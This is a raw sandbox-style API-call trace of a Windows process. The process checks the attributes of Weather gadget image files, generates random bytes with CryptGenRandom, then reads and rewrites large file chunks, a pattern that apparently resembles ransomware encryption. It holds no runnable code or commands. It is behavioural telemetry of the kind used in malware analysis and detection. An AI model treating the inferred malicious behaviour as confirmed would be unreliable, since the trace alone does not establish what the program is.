	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_foggy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_foggy.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7e58 | out: lpFileInformation=0x124e7e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2930)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_hail.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_hail.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7ea8 | out: lpFileInformation=0x124e7ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbf4062, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbf4062, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7ef8 | out: lpFileInformation=0x124e7ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2174)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7f48 | out: lpFileInformation=0x124e7f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc1a1c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc1a1c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc1ae3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ace)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7f98 | out: lpFileInformation=0x124e7f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc40320, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc40320, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2264)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668008 | out: lpFileInformation=0x12668008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc6647f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc6647f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdc40f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter.png"), fInfoLevelId=0x0, lpFileInformation=0x12668058 | out: lpFileInformation=0x12668058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc8c5de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcc8c5de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21ad)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x126680a8 | out: lpFileInformation=0x126680a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b86)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new.png"), fInfoLevelId=0x0, lpFileInformation=0x126680f8 | out: lpFileInformation=0x126680f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccb273d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccb273d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdcff67c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x251a)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668148 | out: lpFileInformation=0x12668148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccd889c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccd889c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f)) returned 1
	[0055.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent.png"), fInfoLevelId=0x0, lpFileInformation=0x12668198 | out: lpFileInformation=0x12668198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccfe9fb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbccfe9fb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdd257dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2334)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x126681e8 | out: lpFileInformation=0x126681e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbddbdd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2c73)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous.png"), fInfoLevelId=0x0, lpFileInformation=0x12668238 | out: lpFileInformation=0x12668238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd24b5a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21bc)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668288 | out: lpFileInformation=0x12668288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdde3ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b35)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent.png"), fInfoLevelId=0x0, lpFileInformation=0x126682d8 | out: lpFileInformation=0x126682d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd70e18, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd70e18, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22a6)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668328 | out: lpFileInformation=0x12668328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcd96f77, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcd96f77, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous.png"), fInfoLevelId=0x0, lpFileInformation=0x12668378 | out: lpFileInformation=0x12668378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2203)) returned 1
	[0055.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x126683c8 | out: lpFileInformation=0x126683c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdbd0d6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcdbd0d6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde0a01c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_rainy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_rainy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668418 | out: lpFileInformation=0x12668418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3173)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_snow.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_snow.png"), fInfoLevelId=0x0, lpFileInformation=0x12668468 | out: lpFileInformation=0x12668468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce2f4f3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbce2f4f3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3369)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_thunderstorm.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_thunderstorm.png"), fInfoLevelId=0x0, lpFileInformation=0x126684b8 | out: lpFileInformation=0x126684b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcea1910, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcea1910, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde3017c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_windy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_windy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668508 | out: lpFileInformation=0x12668508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceedbce, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbceedbce, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbde562dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3229)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_partly-cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_partly-cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x12668558 | out: lpFileInformation=0x12668558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x21a1)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_snow.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_snow.png"), fInfoLevelId=0x0, lpFileInformation=0x126685a8 | out: lpFileInformation=0x126685a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf5ffeb, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf5ffeb, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdea259c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3)) returned 1
	[0055.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_sun.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_sun.png"), fInfoLevelId=0x0, lpFileInformation=0x126685f8 | out: lpFileInformation=0x126685f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfac2a9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcfac2a9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdec86fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5)) returned 1
	[0055.842] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x127e9040*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x124149dc, lpReserved=0x0 | out: lpBuffer=0x127e9040*, lpNumberOfCharsWritten=0x124149dc*=0x26) returned 1
	[0055.849] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x127d6460*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x12414978, lpReserved=0x0 | out: lpBuffer=0x127d6460*, lpNumberOfCharsWritten=0x12414978*=0x4b) returned 1
	[0055.855] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125eefe0 | out: pbBuffer=0x125eefe0) returned 1
	[0055.855] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127d9860 | out: pbBuffer=0x127d9860) returned 1
	[0055.855] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x127d5f81 | out: pbBuffer=0x127d5f81) returned 1
	[0055.855] WriteFile (in: hFile=0xc4, lpBuffer=0x127f9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x12414c50, lpOverlapped=0x0 | out: lpBuffer=0x127f9000*, lpNumberOfBytesWritten=0x12414c50*=0x80, lpOverlapped=0x0) returned 1
	[0055.856] VirtualAlloc (lpAddress=0x12880000, dwSize=0x9d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x12880000
	[0055.879] VirtualAlloc (lpAddress=0x1105a000, dwSize=0x9e000, flAllocationType=0x1000, flProtect=0x4) returned 0x1105a000
	[0055.880] VirtualAlloc (lpAddress=0x21a6000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x21a6000
	[0055.888] SetEvent (hEvent=0x8c) returned 1
	[0055.889] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0055.890] SetEvent (hEvent=0x8c) returned 1
	[0055.890] SetEvent (hEvent=0x78) returned 1
	[0055.890] SetEvent (hEvent=0xb4) returned 1
	[0055.890] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.890] SetEvent (hEvent=0xb4) returned 1
	[0055.891] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3
	[0055.891] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0056.199] SetEvent (hEvent=0xa8) returned 1
	[0056.367] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0056.601] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0056.796] SetEvent (hEvent=0xa8) returned 1
	[0056.930] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0057.149] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0057.482] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0057.738] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0057.931] SetEvent (hEvent=0xa8) returned 1
	[0058.069] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0058.315] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0058.554] SetEvent (hEvent=0xa8) returned 1
	[0058.712] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0058.991] SetEvent (hEvent=0xa8) returned 1
	[0058.992] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0059.331] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0059.589] SetEvent (hEvent=0xa8) returned 1
	[0059.589] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0059.913] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0060.192] SetEvent (hEvent=0xa8) returned 1
	[0060.192] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0060.521] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0060.773] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0061.094] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0061.342] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0061.530] SetEvent (hEvent=0xa8) returned 1
	[0061.670] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0061.924] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0062.292] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0062.557] SetEvent (hEvent=0xa8) returned 1
